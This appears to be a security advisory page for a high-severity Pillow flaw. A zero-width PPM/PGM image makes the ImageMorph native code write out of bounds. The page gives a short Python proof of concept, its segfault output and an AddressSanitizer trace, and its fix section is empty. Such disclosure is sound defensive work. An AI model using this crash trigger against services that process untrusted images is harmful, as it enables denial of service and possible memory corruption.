PT-2026-120299 · Pypi · Pillow
Published
2026-10-20
·
Updated
2026-10-20
CVSS v4.0
8.7
High
| Vector | AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N |
Summary
A PPM or PGM file can declare a width of 0, which Pillow accepts, producing an image of size
(0, N). Passing that image to ImageMorph.MorphOp.apply() makes the native morphology code index a row buffer at outrow[width - 1], which is outrow[-1] when the width is 0. The process crashes.Details
The PPM parser reads width and height with no lower-bound check:
src/PIL/PpmImagePlugin.py:119
The native
apply() writes the row edges with no guard that the width is positive:src/ imagingmorph.c:81setsoutrow[0] = outrow[width - 1] = 0;
match() and get on pixels() use the same edge-indexing pattern.PoC
python
from PIL import Image, ImageMorph
# A width-0 image (also producible from a crafted PPM header). apply() indexes
# outrow[width - 1] == outrow[-1] in native code.
im = Image.new("L", (0, 5))
ImageMorph.MorphOp(op name="dilation4").apply(im)Run it:
$ python 03 poc.py
Segmentation fault (core dumped)Observed on a source build of commit
3e2ab96.Under AddressSanitizer:
==ERROR: AddressSanitizer: SEGV on unknown address (pc ... in apply)
#0 apply src/ imagingmorph.c:81
SUMMARY: AddressSanitizer: SEGV src/ imagingmorph.c:81 in applyWith width 0 the
outrow[width - 1] write lands on an unmapped page, so it surfaces as a SEGV pinned to the edge-write line rather than a redzone overflow.Impact
Out-of-bounds write in a C extension. Affects any application that runs a morphology operation on an image opened from untrusted input. Result is a crash and possible memory corruption.
Fix
Memory Corruption
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Pillow